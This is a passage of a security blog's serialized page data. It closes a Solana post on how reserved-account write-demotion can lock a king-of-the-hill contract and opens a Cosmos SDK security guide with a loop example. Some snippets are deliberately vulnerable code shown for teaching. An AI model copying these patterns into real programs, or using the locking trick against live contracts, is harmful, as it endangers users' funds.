77532,77536,77540,77544,77548],{"type":23,"tag":504,"props":77525,"children":77526},{"style":5030},[77527],{"type":29,"value":22895},{"type":23,"tag":504,"props":77529,"children":77530},{"style":5041},[77531],{"type":29,"value":73580},{"type":23,"tag":504,"props":77533,"children":77534},{"style":5047},[77535],{"type":29,"value":6533},{"type":23,"tag":504,"props":77537,"children":77538},{"style":5467},[77539],{"type":29,"value":27451},{"type":23,"tag":504,"props":77541,"children":77542},{"style":5058},[77543],{"type":29,"value":24963},{"type":23,"tag":504,"props":77545,"children":77546},{"style":5467},[77547],{"type":29,"value":24968},{"type":23,"tag":504,"props":77549,"children":77550},{"style":5058},[77551],{"type":29,"value":8183},{"type":23,"tag":504,"props":77553,"children":77554},{"class":5016,"line":5397},[77555],{"type":23,"tag":504,"props":77556,"children":77557},{"emptyLinePlaceholder":15},[77558],{"type":29,"value":5734},{"type":23,"tag":504,"props":77560,"children":77561},{"class":5016,"line":5649},[77562,77566,77570],{"type":23,"tag":504,"props":77563,"children":77564},{"style":5058},[77565],{"type":29,"value":25170},{"type":23,"tag":504,"props":77567,"children":77568},{"style":5030},[77569],{"type":29,"value":5783},{"type":23,"tag":504,"props":77571,"children":77572},{"style":5058},[77573],{"type":29,"value":22311},{"type":23,"tag":504,"props":77575,"children":77576},{"class":5016,"line":5666},[77577,77581,77585,77589,77593,77597,77601],{"type":23,"tag":504,"props":77578,"children":77579},{"style":5030},[77580],{"type":29,"value":22895},{"type":23,"tag":504,"props":77582,"children":77583},{"style":5041},[77584],{"type":29,"value":44299},{"type":23,"tag":504,"props":77586,"children":77587},{"style":5047},[77588],{"type":29,"value":6533},{"type":23,"tag":504,"props":77590,"children":77591},{"style":5467},[77592],{"type":29,"value":25199},{"type":23,"tag":504,"props":77594,"children":77595},{"style":5058},[77596],{"type":29,"value":24963},{"type":23,"tag":504,"props":77598,"children":77599},{"style":5467},[77600],{"type":29,"value":24968},{"type":23,"tag":504,"props":77602,"children":77603},{"style":5058},[77604],{"type":29,"value":8183},{"type":23,"tag":504,"props":77606,"children":77607},{"class":5016,"line":5683},[77608],{"type":23,"tag":504,"props":77609,"children":77610},{"style":5058},[77611],{"type":29,"value":5965},{"type":23,"tag":32,"props":77613,"children":77614},{},[77615,77617,77623,77625,77631],{"type":29,"value":77616},"This works fine — until one day, ",{"type":23,"tag":154,"props":77618,"children":77620},{"className":77619},[],[77621],{"type":29,"value":77622},"old_king",{"type":29,"value":77624}," is silently demoted. Suddenly, the ",{"type":23,"tag":154,"props":77626,"children":77628},{"className":77627},[],[77629],{"type":29,"value":77630},"#[account(mut)]",{"type":29,"value":77632}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":23,"tag":20944,"props":77634,"children":77636},{"id":77635},"real-world-example-write-demotion-with-secp256r1_program",[77637,77639],{"type":29,"value":77638},"Real-World Example: Write-Demotion with ",{"type":23,"tag":154,"props":77640,"children":77642},{"className":77641},[],[77643],{"type":29,"value":77644},"secp256r1_program",{"type":23,"tag":32,"props":77646,"children":77647},{},[77648,77650,77655],{"type":29,"value":77649},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":23,"tag":154,"props":77651,"children":77653},{"className":77652},[],[77654],{"type":29,"value":77644},{"type":29,"value":77656},", a precompiled program gated behind a feature flag:",{"type":23,"tag":4743,"props":77658,"children":77660},{"className":5009,"code":77659,"language":5008,"meta":7,"style":7},"ReservedAccount::new_pending(\n    secp256r1_program::id(),\n    feature_set::enable_secp256r1_precompile::id(),\n)\n",[77661],{"type":23,"tag":154,"props":77662,"children":77663},{"__ignoreMap":7},[77664,77685,77705,77734],{"type":23,"tag":504,"props":77665,"children":77666},{"class":5016,"line":5017},[77667,77672,77676,77681],{"type":23,"tag":504,"props":77668,"children":77669},{"style":5467},[77670],{"type":29,"value":77671},"ReservedAccount",{"type":23,"tag":504,"props":77673,"children":77674},{"style":5047},[77675],{"type":29,"value":5530},{"type":23,"tag":504,"props":77677,"children":77678},{"style":5139},[77679],{"type":29,"value":77680},"new_pending",{"type":23,"tag":504,"props":77682,"children":77683},{"style":5058},[77684],{"type":29,"value":5512},{"type":23,"tag":504,"props":77686,"children":77687},{"class":5016,"line":4868},[77688,77693,77697,77701],{"type":23,"tag":504,"props":77689,"children":77690},{"style":5058},[77691],{"type":29,"value":77692},"    secp256r1_program",{"type":23,"tag":504,"props":77694,"children":77695},{"style":5047},[77696],{"type":29,"value":5530},{"type":23,"tag":504,"props":77698,"children":77699},{"style":5139},[77700],{"type":29,"value":5535},{"type":23,"tag":504,"props":77702,"children":77703},{"style":5058},[77704],{"type":29,"value":5540},{"type":23,"tag":504,"props":77706,"children":77707},{"class":5016,"line":4876},[77708,77713,77717,77722,77726,77730],{"type":23,"tag":504,"props":77709,"children":77710},{"style":5058},[77711],{"type":29,"value":77712},"    feature_set",{"type":23,"tag":504,"props":77714,"children":77715},{"style":5047},[77716],{"type":29,"value":5530},{"type":23,"tag":504,"props":77718,"children":77719},{"style":5058},[77720],{"type":29,"value":77721},"enable_secp256r1_precompile",{"type":23,"tag":504,"props":77723,"children":77724},{"style":5047},[77725],{"type":29,"value":5530},{"type":23,"tag":504,"props":77727,"children":77728},{"style":5139},[77729],{"type":29,"value":5535},{"type":23,"tag":504,"props":77731,"children":77732},{"style":5058},[77733],{"type":29,"value":5540},{"type":23,"tag":504,"props":77735,"children":77736},{"class":5016,"line":5099},[77737],{"type":23,"tag":504,"props":77738,"children":77739},{"style":5058},[77740],{"type":29,"value":5200},{"type":23,"tag":32,"props":77742,"children":77743},{},[77744,77746,77751,77753,77759],{"type":29,"value":77745},"Before the ",{"type":23,"tag":154,"props":77747,"children":77749},{"className":77748},[],[77750],{"type":29,"value":77721},{"type":29,"value":77752}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":23,"tag":154,"props":77754,"children":77756},{"className":77755},[],[77757],{"type":29,"value":77758},"secp256r1_program::id()",{"type":29,"value":77760}," as the king in a contract.",{"type":23,"tag":32,"props":77762,"children":77763},{},[77764,77766,77771],{"type":29,"value":77765},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":23,"tag":154,"props":77767,"children":77769},{"className":77768},[],[77770],{"type":29,"value":77758},{"type":29,"value":77772}," becomes the eternal king, and no one can dethrone it.",{"type":23,"tag":20944,"props":77774,"children":77776},{"id":77775},"fix-3-preventing-write-demotion-pitfalls",[77777],{"type":29,"value":77778},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":23,"tag":32,"props":77780,"children":77781},{},[77782,77784,77789],{"type":29,"value":77783},"Alright, let’s try to fix this ",{"type":23,"tag":4321,"props":77785,"children":77786},{},[77787],{"type":29,"value":77788},"yet another",{"type":29,"value":77790}," edge case — and hopefully close the book on it.",{"type":23,"tag":20944,"props":77792,"children":77794},{"id":77793},"attempt-1-block-known-reserved-accounts",[77795],{"type":29,"value":77796},"Attempt 1: Block Known Reserved Accounts",{"type":23,"tag":32,"props":77798,"children":77799},{},[77800],{"type":29,"value":77801},"One naive solution is to reject any known reserved account, for example:",{"type":23,"tag":4743,"props":77803,"children":77805},{"className":42417,"code":77804,"language":42419,"meta":7,"style":7},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[77806],{"type":23,"tag":154,"props":77807,"children":77808},{"__ignoreMap":7},[77809,77817],{"type":23,"tag":504,"props":77810,"children":77811},{"class":5016,"line":5017},[77812],{"type":23,"tag":504,"props":77813,"children":77814},{"style":5058},[77815],{"type":29,"value":77816},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":23,"tag":504,"props":77818,"children":77819},{"class":5016,"line":4868},[77820],{"type":23,"tag":504,"props":77821,"children":77822},{"style":5083},[77823],{"type":29,"value":77824},"+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":23,"tag":32,"props":77826,"children":77827},{},[77828,77830,77835],{"type":29,"value":77829},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":23,"tag":154,"props":77831,"children":77833},{"className":77832},[],[77834],{"type":29,"value":77671},{"type":29,"value":77836}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":23,"tag":20944,"props":77838,"children":77840},{"id":77839},"attempt-2-use-a-pda-vault",[77841],{"type":29,"value":77842},"Attempt 2: Use a PDA Vault",{"type":23,"tag":32,"props":77844,"children":77845},{},[77846,77848,77853],{"type":29,"value":77847},"A more future-proof fix is to avoid ",{"type":23,"tag":38,"props":77849,"children":77850},{},[77851],{"type":29,"value":77852},"transferring lamports to arbitrary accounts",{"type":29,"value":77854}," altogether.",{"type":23,"tag":32,"props":77856,"children":77857},{},[77858],{"type":29,"value":77859},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":23,"tag":24,"props":77861,"children":77863},{"id":77862},"final-thoughts",[77864],{"type":29,"value":77865},"Final Thoughts",{"type":23,"tag":32,"props":77867,"children":77868},{},[77869],{"type":29,"value":77870},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":23,"tag":32,"props":77872,"children":77873},{},[77874],{"type":29,"value":77875},"We can safely transfer lamports to an account under the following conditions:",{"type":23,"tag":1022,"props":77877,"children":77878},{},[77879,77884,77889],{"type":23,"tag":143,"props":77880,"children":77881},{},[77882],{"type":29,"value":77883},"It's not executable.",{"type":23,"tag":143,"props":77885,"children":77886},{},[77887],{"type":29,"value":77888},"Its balance, after the transfer, remains rent-exempt.",{"type":23,"tag":143,"props":77890,"children":77891},{},[77892],{"type":29,"value":77893},"It's not a reserved account.",{"type":23,"tag":32,"props":77895,"children":77896},{},[77897],{"type":29,"value":77898},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":23,"tag":7410,"props":77900,"children":77901},{},[77902],{"type":29,"value":7414},{"title":7,"searchDepth":4868,"depth":4868,"links":77904},[77905,77906,77907,77913],{"id":31069,"depth":4868,"text":31072},{"id":73287,"depth":4868,"text":73290},{"id":74394,"depth":4868,"text":74397,"children":77908},[77909,77910,77912],{"id":74400,"depth":4876,"text":74403},{"id":75087,"depth":4876,"text":77911},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":76392,"depth":4876,"text":76395},{"id":77862,"depth":4868,"text":77865},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":77918,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":77919,"description":77920,"date":77921,"author":77922,"image":77923,"isFeatured":15,"onBlogPage":15,"tags":77925,"body":77928,"_type":4892,"_id":91810,"_source":4894,"_file":91811,"_stem":91812,"_extension":4897},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":77924,"width":14,"height":14},"/posts/cosmos-security/title.png",[77926,77927],"cosmos-sdk","security",{"type":20,"children":77929,"toc":91788},[77930,77934,77939,77944,77950,77955,77960,77965,78226,78715,78734,78739,78744,78749,78755,78760,78795,78805,79311,79331,79344,79350,79355,79360,79601,79606,79614,79626,79988,79993,79998,80034,80043,80469,80490,80496,80516,80537,80556,80588,80600,80612,81266,81294,81303,81743,81770,81790,81795,81816,81865,81874,83106,83134,83140,83145,83150,83170,83457,83491,83672,83677,83682,83726,83735,84927,85178,85191,85197,85231,85236,85299,85304,85324,85343,85355,85374,86066,86071,86076,86104,86113,86997,87024,87030,87050,87055,87068,87242,87255,87346,87351,87359,87369,87519,87524,87544,87552,87557,87955,87967,87972,88013,88024,88044,88352,88357,89282,89294,89302,89307,90300,90305,90317,90337,90356,91269,91326,91432,91444,91449,91454,91482,91491,91717,91743,91756,91770,91774,91779,91784],{"type":23,"tag":24,"props":77931,"children":77932},{"id":31069},[77933],{"type":29,"value":31072},{"type":23,"tag":32,"props":77935,"children":77936},{},[77937],{"type":29,"value":77938},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":23,"tag":32,"props":77940,"children":77941},{},[77942],{"type":29,"value":77943},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":23,"tag":24,"props":77945,"children":77947},{"id":77946},"its-loopin-time",[77948],{"type":29,"value":77949},"It's Loopin' Time",{"type":23,"tag":32,"props":77951,"children":77952},{},[77953],{"type":29,"value":77954},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":23,"tag":32,"props":77956,"children":77957},{},[77958],{"type":29,"value":77959},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":23,"tag":32,"props":77961,"children":77962},{},[77963],{"type":29,"value":77964},"Here is a simple example for reference:",{"type":23,"tag":4743,"props":77966,"children":77968},{"code":77967,"language":6515,"meta":7,"className":6516,"style":7},"function sumWithStride(\n    uint64 start,\n    uint64 stride,\n    uint64[] memory arr\n) public returns (uint64) {\n    uint64 idx = start;\n    uint64 sum = 0;\n    uint64 end = arr.length;\n\n    while (idx \u003C end) {\n        sum += arr[idx];\n        idx += stride;\n    }\n    return sum;\n}\n",[77969],{"type":23,"tag":154,"props":77970,"children":77971},{"__ignoreMap":7},[77972,77988,78005,78021,78043,78072,78093,78117,78138,78145,78166,78183,78200,78207,78219],{"type":23,"tag":504,"props":77973,"children":77974},{"class":5016,"line":5017},[77975,77979,77984],{"type":23,"tag":504,"props":77976,"children":77977},{"style":5030},[77978],{"type":29,"value":33432},{"type":23,"tag":504,"props":77980,"children":77981},{"style":5139},[77982],{"type":29,"value":77983}," sumWithStride",{"type":23,"tag":504,"props":77985,"children":77986},{"style":5058},[77987],{"type":29,"value":5512},{"type":23,"tag":504,"props":77989,"children":77990},{"class":5016,"line":4868},[77991,77996,78001],{"type":23,"tag":504,"props":77992,"children":77993},{"style":5467},[77994],{"type":29,"value":77995},"    uint64",{"type":23,"tag":504,"props":77997,"children":77998},{"style":5041},[77999],{"type":29,"value":78000}," start",{"type":23,"tag":504,"props":78002,"children":78003},{"style":5058},[78004],{"type":29,"value":5557},{"type":23,"tag":504,"props":78006,"children":78007},{"class":5016,"line":4876},[78008,78012,78017],{"type":23,"tag":504,"props":78009,"children":78010},{"style":5467},[78011],{"type":29,"value":77995},{"type":23,"tag":504,"props":78013,"children":78014},{"style":5041},[78015],{"type":29,"value":78016}," stride",{"type":23,"tag":504,"props":78018,"children":78019},{"style":5058},[78020],{"type":29,"value":5557},{"type":23,"tag":504,"props":78022,"children":78023},{"class":5016,"line":5099},[78024,78028,78033,78038],{"type":23,"tag":504,"props":78025,"children":78026},{"style":5467},[78027],{"type":29,"value":77995},{"type":23,"tag":504,"props":78029,"children":78030},{"style":5058},[78031],{"type":29,"value":78032},"[] ",{"type":23,"tag":504,"props":78034,"children":78035},{"style":5030},[78036],{"type":29,"value":78037},"memory",{"type":23,"tag":504,"props":78039,"children":78040},{"style":5041},[78041],{"type":29,"value":78042}," arr\n",{"type":23,"tag":504,"props":78044,"children":78045},{"class":5016,"line":5203},[78046,78050,78054,78059,78063,78068],{"type":23,"tag":504,"props":78047,"children":78048},{"style":5058},[78049],{"type":29,"value":5128},{"type":23,"tag":504,"props":78051,"children":78052},{"style":5030},[78053],{"type":29,"value":63737},{"type":23,"tag":504,"props":78055,"children":78056},{"style":5067},[78057],{"type":29,"value":78058}," returns",{"type":23,"tag":504,"props":78060,"children":78061},{"style":5058},[78062],{"type":29,"value":5110},{"type":23,"tag":504,"props":78064,"children":78065},{"style":5467},[78066],{"type":29,"value":78067},"uint64",{"type":23,"tag":504,"props":78069,"children":78070},{"style":5058},[78071],{"type":29,"value":16850},{"type":23,"tag":504,"props":78073,"children":78074},{"class":5016,"line":5308},[78075,78079,78084,78088],{"type":23,"tag":504,"props":78076,"children":78077},{"style":5467},[78078],{"type":29,"value":77995},{"type":23,"tag":504,"props":78080,"children":78081},{"style":5058},[78082],{"type":29,"value":78083}," idx ",{"type":23,"tag":504,"props":78085,"children":78086},{"style":5047},[78087],{"type":29,"value":546},{"type":23,"tag":504,"props":78089,"children":78090},{"style":5058},[78091],{"type":29,"value":78092}," start;\n",{"type":23,"tag":504,"props":78094,"children":78095},{"class":5016,"line":5336},[78096,78100,78105,78109,78113],{"type":23,"tag":504,"props":78097,"children":78098},{"style":5467},[78099],{"type":29,"value":77995},{"type":23,"tag":504,"props":78101,"children":78102},{"style":5058},[78103],{"type":29,"value":78104}," sum ",{"type":23,"tag":504,"props":78106,"children":78107},{"style":5047},[78108],{"type":29,"value":546},{"type":23,"tag":504,"props":78110,"children":78111},{"style":5083},[78112],{"type":29,"value":5086},{"type":23,"tag":504,"props":78114,"children":78115},{"style":5058},[78116],{"type":29,"value":5061},{"type":23,"tag":504,"props":78118,"children":78119},{"class":5016,"line":5349},[78120,78124,78129,78133],{"type":23,"tag":504,"props":78121,"children":78122},{"style":5467},[78123],{"type":29,"value":77995},{"type":23,"tag":504,"props":78125,"children":78126},{"style":5058},[78127],{"type":29,"value":78128}," end ",{"type":23,"tag":504,"props":78130,"children":78131},{"style":5047},[78132],{"type":29,"value":546},{"type":23,"tag":504,"props":78134,"children":78135},{"style":5058},[78136],{"type":29,"value":78137}," arr.length;\n",{"type":23,"tag":504,"props":78139,"children":78140},{"class":5016,"line":5367},[78141],{"type":23,"tag":504,"props":78142,"children":78143},{"emptyLinePlaceholder":15},[78144],{"type":29,"value":5734},{"type":23,"tag":504,"props":78146,"children":78147},{"class":5016,"line":5388},[78148,78152,78157,78161],{"type":23,"tag":504,"props":78149,"children":78150},{"style":5067},[78151],{"type":29,"value":66436},{"type":23,"tag":504,"props":78153,"children":78154},{"style":5058},[78155],{"type":29,"value":78156}," (idx ",{"type":23,"tag":504,"props":78158,"children":78159},{"style":5047},[78160],{"type":29,"value":2658},{"type":23,"tag":504,"props":78162,"children":78163},{"style":5058},[78164],{"type":29,"value":78165}," end) {\n",{"type":23,"tag":504,"props":78167,"children":78168},{"class":5016,"line":5397},[78169,78174,78178],{"type":23,"tag":504,"props":78170,"children":78171},{"style":5058},[78172],{"type":29,"value":78173},"        sum ",{"type":23,"tag":504,"props":78175,"children":78176},{"style":5047},[78177],{"type":29,"value":70501},{"type":23,"tag":504,"props":78179,"children":78180},{"style":5058},[78181],{"type":29,"value":78182}," arr[idx];\n",{"type":23,"tag":504,"props":78184,"children":78185},{"class":5016,"line":5649},[78186,78191,78195],{"type":23,"tag":504,"props":78187,"children":78188},{"style":5058},[78189],{"type":29,"value":78190},"        idx ",{"type":23,"tag":504,"props":78192,"children":78193},{"style":5047},[78194],{"type":29,"value":70501},{"type":23,"tag":504,"props":78196,"children":78197},{"style":5058},[78198],{"type":29,"value":78199}," stride;\n",{"type":23,"tag":504,"props":78201,"children":78202},{"class":5016,"line":5666},[78203],{"type":23,"tag":504,"props":78204,"children":78205},{"style":5058},[78206],{"type":29,"value":5403},{"type":23,"tag":504,"props":78208,"children":78209},{"class":5016,"line":5683},[78210,78214],{"type":23,"tag":504,"props":78211,"children":78212},{"style":5067},[78213],{"type":29,"value":19037},{"type":23,"tag":504,"props":78215,"children":78216},{"style":5058},[78217],{"type":29,"value":78218}," sum;\n",{"type":23,"tag":504,"props":78220,"children":78221},{"class":5016,"line":5696},[78222],{"type":23,"tag":504,"props":78223,"children":78224},{"style":5058},[78225],{"type":29,"value":5965},{"type":23,"tag":4743,"props":78227,"children":78231},{"code":78228,"language":78229,"meta":7,"className":78230,"style":7},"type MsgSumWithStrideParams struct {\n    Start uint64\n    Stride uint64\n    Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n    Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n    goCtx context.Context,\n    msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n    sum := uint64(0)\n    end := uint64(len(msg.Arr))\n    for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n        sum += msg.Arr[idx]\n    }\n    return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[78232],{"type":23,"tag":154,"props":78233,"children":78234},{"__ignoreMap":7},[78235,78255,78268,78280,78298,78305,78312,78332,78344,78351,78358,78393,78419,78440,78469,78499,78544,78621,78657,78664,78708],{"type":23,"tag":504,"props":78236,"children":78237},{"class":5016,"line":5017},[78238,78242,78247,78251],{"type":23,"tag":504,"props":78239,"children":78240},{"style":5030},[78241],{"type":29,"value":34812},{"type":23,"tag":504,"props":78243,"children":78244},{"style":5467},[78245],{"type":29,"value":78246}," MsgSumWithStrideParams",{"type":23,"tag":504,"props":78248,"children":78249},{"style":5030},[78250],{"type":29,"value":23203},{"type":23,"tag":504,"props":78252,"children":78253},{"style":5058},[78254],{"type":29,"value":5333},{"type":23,"tag":504,"props":78256,"children":78257},{"class":5016,"line":4868},[78258,78263],{"type":23,"tag":504,"props":78259,"children":78260},{"style":5041},[78261],{"type":29,"value":78262},"    Start",{"type":23,"tag":504,"props":78264,"children":78265},{"style":5467},[78266],{"type":29,"value":78267}," uint64\n",{"type":23,"tag":504,"props":78269,"children":78270},{"class":5016,"line":4876},[78271,78276],{"type":23,"tag":504,"props":78272,"children":78273},{"style":5041},[78274],{"type":29,"value":78275},"    Stride",{"type":23,"tag":504,"props":78277,"children":78278},{"style":5467},[78279],{"type":29,"value":78267},{"type":23,"tag":504,"props":78281,"children":78282},{"class":5016,"line":5099},[78283,78288,78293],{"type":23,"tag":504,"props":78284,"children":78285},{"style":5041},[78286],{"type":29,"value":78287},"    Arr",{"type":23,"tag":504,"props":78289,"children":78290},{"style":5058},[78291],{"type":29,"value":78292}," []",{"type":23,"tag":504,"props":78294,"children":78295},{"style":5467},[78296],{"type":29,"value":78297},"uint64\n",{"type":23,"tag":504,"props":78299,"children":78300},{"class":5016,"line":5203},[78301],{"type":23,"tag":504,"props":78302,"children":78303},{"style":5058},[78304],{"type":29,"value":5965},{"type":23,"tag":504,"props":78306,"children":78307},{"class":5016,"line":5308},[78308],{"type":23,"tag":504,"props":78309,"children":78310},{"emptyLinePlaceholder":15},[78311],{"type":29,"value":5734},{"type":23,"tag":504,"props":78313,"children":78314},{"class":5016,"line":5336},[78315,78319,78324,78328],{"type":23,"tag":504,"props":78316,"children":78317},{"style":5030},[78318],{"type":29,"value":34812},{"type":23,"tag":504,"props":78320,"children":78321},{"style":5467},[78322],{"type":29,"value":78323}," MsgSumWithStrideResponse",{"type":23,"tag":504,"props":78325,"children":78326},{"style":5030},[78327],{"type":29,"value":23203},{"type":23,"tag":504,"props":78329,"children":78330},{"style":5058},[78331],{"type":29,"value":5333},{"type":23,"tag":504,"props":78333,"children":78334},{"class":5016,"line":5349},[78335,78340],{"type":23,"tag":504,"props":78336,"children":78337},{"style":5041},[78338],{"type":29,"value":78339},"    Sum",{"type":23,"tag":504,"props":78341,"children":78342},{"style":5467},[78343],{"type":29,"value":78267},{"type":23,"tag":504,"props":78345,"children":78346},{"class":5016,"line":5367},[78347],{"type":23,"tag":504,"props":78348,"children":78349},{"style":5058},[78350],{"type":29,"value":5965},{"type":23,"tag":504,"props":78352,"children":78353},{"class":5016,"line":5388},[78354],{"type":23,"tag":504,"props":78355,"children":78356},{"emptyLinePlaceholder":15},[78357],{"type":29,"value":5734},{"type":23,"tag":504,"props":78359,"children":78360},{"class":5016,"line":5397},[78361,78366,78370,78375,78380,78384,78389],{"type":23,"tag":504,"props":78362,"children":78363},{"style":5030},[78364],{"type":29,"value":78365},"func",{"type":23,"tag":504,"props":78367,"children":78368},{"style":5058},[78369],{"type":29,"value":5110},{"type":23,"tag":504,"props":78371,"children":78372},{"style":5041},[78373],{"type":29,"value":78374},"ms ",{"type":23,"tag":504,"props":78376,"children":78377},{"style":5467},[78378],{"type":29,"value":78379},"msgServer",{"type":23,"tag":504,"props":78381,"children":78382},{"style":5058},[78383],{"type":29,"value":5128},{"type":23,"tag":504,"props":78385,"children":78386},{"style":5139},[78387],{"type":29,"value":78388},"SumWithStride",{"type":23,"tag":504,"props":78390,"children":78391},{"style":5058},[78392],{"type":29,"value":5512},{"type":23,"tag":504,"props":78394,"children":78395},{"class":5016,"line":5649},[78396,78401,78406,78410,78415],{"type":23,"tag":504,"props":78397,"children":78398},{"style":5041},[78399],{"type":29,"value":78400},"    goCtx",{"type":23,"tag":504,"props":78402,"children":78403},{"style":5467},[78404],{"type":29,"value":78405}," context",{"type":23,"tag":504,"props":78407,"children":78408},{"style":5058},[78409],{"type":29,"value":357},{"type":23,"tag":504,"props":78411,"children":78412},{"style":5467},[78413],{"type":29,"value":78414},"Context",{"type":23,"tag":504,"props":78416,"children":78417},{"style":5058},[78418],{"type":29,"value":5557},{"type":23,"tag":504,"props":78420,"children":78421},{"class":5016,"line":5666},[78422,78427,78431,78436],{"type":23,"tag":504,"props":78423,"children":78424},{"style":5041},[78425],{"type":29,"value":78426},"    msg",{"type":23,"tag":504,"props":78428,"children":78429},{"style":5047},[78430],{"type":29,"value":11863},{"type":23,"tag":504,"props":78432,"children":78433},{"style":5467},[78434],{"type":29,"value":78435},"MsgSumWithStrideParams",{"type":23,"tag":504,"props":78437,"children":78438},{"style":5058},[78439],{"type":29,"value":5557},{"type":23,"tag":504,"props":78441,"children":78442},{"class":5016,"line":5683},[78443,78448,78452,78457,78461,78465],{"type":23,"tag":504,"props":78444,"children":78445},{"style":5058},[78446],{"type":29,"value":78447},") (",{"type":23,"tag":504,"props":78449,"children":78450},{"style":5047},[78451],{"type":29,"value":6613},{"type":23,"tag":504,"props":78453,"children":78454},{"style":5467},[78455],{"type":29,"value":78456},"MsgSumWithStrideResponse",{"type":23,"tag":504,"props":78458,"children":78459},{"style":5058},[78460],{"type":29,"value":4367},{"type":23,"tag":504,"props":78462,"children":78463},{"style":5467},[78464],{"type":29,"value":16910},{"type":23,"tag":504,"props":78466,"children":78467},{"style":5058},[78468],{"type":29,"value":16850},{"type":23,"tag":504,"props":78470,"children":78471},{"class":5016,"line":5696},[78472,78477,78482,78487,78491,78495],{"type":23,"tag":504,"props":78473,"children":78474},{"style":5041},[78475],{"type":29,"value":78476},"    sum",{"type":23,"tag":504,"props":78478,"children":78479},{"style":5047},[78480],{"type":29,"value":78481}," :=",{"type":23,"tag":504,"props":78483,"children":78484},{"style":5467},[78485],{"type":29,"value":78486}," uint64",{"type":23,"tag":504,"props":78488,"children":78489},{"style":5058},[78490],{"type":29,"value":603},{"type":23,"tag":504,"props":78492,"children":78493},{"style":5083},[78494],{"type":29,"value":708},{"type":23,"tag":504,"props":78496,"children":78497},{"style":5058},[78498],{"type":29,"value":5200},{"type":23,"tag":504,"props":78500,"children":78501},{"class":5016,"line":5705},[78502,78507,78511,78515,78519,78523,78527,78531,78535,78540],{"type":23,"tag":504,"props":78503,"children":78504},{"style":5041},[78505],{"type":29,"value":78506},"    end",{"type":23,"tag":504,"props":78508,"children":78509},{"style":5047},[78510],{"type":29,"value":78481},{"type":23,"tag":504,"props":78512,"children":78513},{"style":5467},[78514],{"type":29,"value":78486},{"type":23,"tag":504,"props":78516,"children":78517},{"style":5058},[78518],{"type":29,"value":603},{"type":23,"tag":504,"props":78520,"children":78521},{"style":5139},[78522],{"type":29,"value":11186},{"type":23,"tag":504,"props":78524,"children":78525},{"style":5058},[78526],{"type":29,"value":603},{"type":23,"tag":504,"props":78528,"children":78529},{"style":5041},[78530],{"type":29,"value":60007},{"type":23,"tag":504,"props":78532,"children":78533},{"style":5058},[78534],{"type":29,"value":357},{"type":23,"tag":504,"props":78536,"children":78537},{"style":5041},[78538],{"type":29,"value":78539},"Arr",{"type":23,"tag":504,"props":78541,"children":78542},{"style":5058},[78543],{"type":29,"value":21764},{"type":23,"tag":504,"props":78545,"children":78546},{"class":5016,"line":5728},[78547,78551,78556,78560,78565,78569,78574,78578,78583,78587,78592,78596,78600,78604,78608,78612,78617],{"type":23,"tag":504,"props":78548,"children":78549},{"style":5067},[78550],{"type":29,"value":5070},{"type":23,"tag":504,"props":78552,"children":78553},{"style":5041},[78554],{"type":29,"value":78555}," idx",{"type":23,"tag":504,"props":78557,"children":78558},{"style":5047},[78559],{"type":29,"value":78481},{"type":23,"tag":504,"props":78561,"children":78562},{"style":5041},[78563],{"type":29,"value":78564}," msg",{"type":23,"tag":504,"props":78566,"children":78567},{"style":5058},[78568],{"type":29,"value":357},{"type":23,"tag":504,"props":78570,"children":78571},{"style":5041},[78572],{"type":29,"value":78573},"Start",{"type":23,"tag":504,"props":78575,"children":78576},{"style":5058},[78577],{"type":29,"value":19275},{"type":23,"tag":504,"props":78579,"children":78580},{"style":5041},[78581],{"type":29,"value":78582},"idx",{"type":23,"tag":504,"props":78584,"children":78585},{"style":5047},[78586],{"type":29,"value":10764},{"type":23,"tag":504,"props":78588,"children":78589},{"style":5041},[78590],{"type":29,"value":78591}," 